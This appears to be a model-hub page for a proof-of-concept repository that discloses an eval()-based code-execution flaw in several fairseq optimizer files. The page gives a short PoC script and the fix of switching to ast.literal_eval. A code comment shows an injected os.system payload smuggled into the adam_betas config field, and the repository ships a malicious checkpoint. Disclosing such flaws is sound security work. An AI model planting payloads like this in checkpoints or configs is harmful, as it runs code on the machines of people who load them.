Downloads · 30 days
0
ryansecuritytest-fanpierlabs/poc-fairseq-eval-config-rce
poc-fairseq-eval-config-rce is a machine learning model from ryansecuritytest-fanpierlabs. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for fairseq.
fairseq optimizer implementations call eval() on string config values from checkpoints. A malicious checkpoint with crafted adambetas achieves arbitrary code execution when training is resumed.
Downloads · 30 days
0
Access
Public
Updated Apr 3, 2026
Repo size
1.8 KB
Likes
0
Public
Click a slice to open those files.
.pt1.8 KB · 30%
From the Hugging Face model README
fairseq optimizer implementations call eval() on string config values
from checkpoints. A malicious checkpoint with crafted adam_betas achieves
arbitrary code execution when training is resumed.
fairseq/optim/adam.py:91 - eval(self.cfg.adam_betas)fairseq/optim/adamax.py:42 - eval(self.args.adamax_betas)fairseq/optim/cpu_adam.py:78 - eval(self.cfg.adam_betas)fairseq/optim/fused_lamb.py:44 - eval(self.args.lamb_betas)fairseq/optim/adafactor.py:55 - eval(self.args.adafactor_eps)malicious_checkpoint.pt - Checkpoint with eval-exploitable adam_betaspoc_fairseq_eval_rce.py - Standalone PoC scriptimport torch
state = torch.load("malicious_checkpoint.pt", weights_only=False)
adam_betas = state["cfg"]["optimization"]["adam_betas"]
# adam_betas = "__import__('os').system('echo RCE')"
eval(adam_betas) # This is what fairseq does at adam.py:91
Replace eval() with ast.literal_eval() in all 5 optimizer files.